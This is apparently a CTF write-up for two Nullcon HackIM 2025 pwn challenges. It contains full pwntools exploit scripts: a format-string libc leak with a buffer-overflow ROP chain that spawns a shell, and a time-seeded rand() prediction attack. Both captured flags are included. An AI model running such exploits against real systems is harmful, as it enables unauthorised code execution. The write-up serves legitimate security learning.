team-logo
Published on

Nullcon Goa HackIM 2025 - PWN: Hateful and Mr Unlucky

Authors

Table of contents

Hateful

alt text

Simple return to libc.

from pwn import *             

context.update(arch='x86_64', os='linux') context.terminal = ['wt.exe','wsl.exe'] 


HOST="52.59.124.14:5020"
ADDRESS,PORT=HOST.split(":")

BINARY_NAME="./hateful_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc  = ELF('./libc.so.6', checksec=False)


#---%5$p correct libc
# display some adresses
# for i in range (1,60):
#     if args.REMOTE:
#         p = remote(ADDRESS,PORT)
#     else:
#         p = process(binary.path)        
#     payload = f"%{i}$p".encode()
#     info (f"Payload {i}: {payload}")
#     p.sendlineafter(b"(yay/nay)", b'yay')
#     p.sendlineafter(b"please provide your bosses email!",payload)    
#     p.recvuntil(b'email provided: ').strip()
#     recv=p.recvline().strip()
#     if b'0x7f' in recv:
#         if not b'0x7ff' in recv:
#             print (f"RECV:{payload} : {recv}")    
#     p.sendline(b'just joke')
#     p.close ()


#-----Nie trzeba sprawdzać warunku, ale wcześniej
#-----coś się pomieszało
while True:  # Pętla do momentu uzyskania poprawnego adresu
    if args.REMOTE:
        p = remote(ADDRESS,PORT)
    else:
        p = process(binary.path)    
    p.sendlineafter(b"(yay/nay)", b'yay')
    p.sendlineafter(b"please provide your bosses email!", b'%5$p')    
    p.recvuntil(b'email provided: ').strip()
    recv = p.recvline().strip()

    try:
        libc_address = int(recv, 16) - 0x1d2a80
    except ValueError:
        continue  # Jeśli konwersja się nie uda, spróbuj ponownie

    info(f"LIBC: {libc_address:x}")        

    if libc_address % 0x1000 == 0:
        libc.address=libc_address
        break  # Jeśli adres jest poprawny, wychodzimy z pętli

    print("Adres nie jest poprawnie wyrównany, próbujemy ponownie...")
    p.close()  # Zamykamy proces i próbujemy od nowa

length = 1016 #przepelnienie

rop=ROP(libc)
ret=rop.find_gadget(['ret'])[0]
pop_rdi=rop.find_gadget(['pop rdi','ret'])[0]

system=libc.symbols.system
str_bin_sh=next(libc.search(b'/bin/sh'))
payload=1016*b'A'+p64(ret)+p64(pop_rdi)+p64(str_bin_sh)+p64(system)
p.sendlineafter(b"now please provide the message!", payload)

p.interactive()

Flag: ENO{W3_4R3_50RRY_TH4T_TH3_M3554G3_W45_N0T_53NT_T0_TH3_R1GHT_3M41L}

Mr Unlucky

alt text

First, I extracted the names of the characters using the strings command and put them into an array. Then, I analyzed how their selection was implemented. However, since there was a 3-second pause in the program, I simply disabled it in Ghidra. The characters are generated based on time, so the key was to find the first character. Once that was done, generating the next characters was easy. Here is the solve code:

from pwn import *             

import ctypes
import time

# Importujemy libc
libc = ctypes.CDLL("libc.so.6")

context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="52.59.124.14:5021"
ADDRESS,PORT=HOST.split(":")

BINARY_NAME="./mr_unlucky"
#BINARY_NAME="./mr_unlucky_0_sleep"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

heroes = [
    "Anti-Mage", "Axe", "Bane", "Bloodseeker", "Crystal Maiden", "Drow Ranger", 
    "Earthshaker", "Juggernaut", "Mirana", "Morphling", "Phantom Assassin", 
    "Pudge", "Shadow Fiend", "Sniper", "Storm Spirit", "Sven", 
    "Tiny", "Vengeful Spirit", "Windranger", "Zeus"
]


def predict_heroes_from_timestamp(timestamp, count=50):
    libc.srand(ctypes.c_uint(timestamp))  # Ustawiamy seed jako unsigned int
    hero_sequence = []
    for _ in range(count):
        hero_index = libc.rand() % len(heroes)
        hero_sequence.append(heroes[hero_index])        
    return hero_sequence


current_time = int(time.time())
predicted_heroes=predict_heroes_from_timestamp(current_time)    

p.recvuntil(b'Can you help me guess the names?',timeout=3)

for hero in predicted_heroes:
    p.sendlineafter(b"Guess the Dota 2 hero (case sensitive!!!):", hero.encode())


p.interactive()

Flag: ENO{0NLY_TH3_W0RTHY_0N35_C4N_CL41M_THE_AEGIS_OF_IMMORTALITY!!!}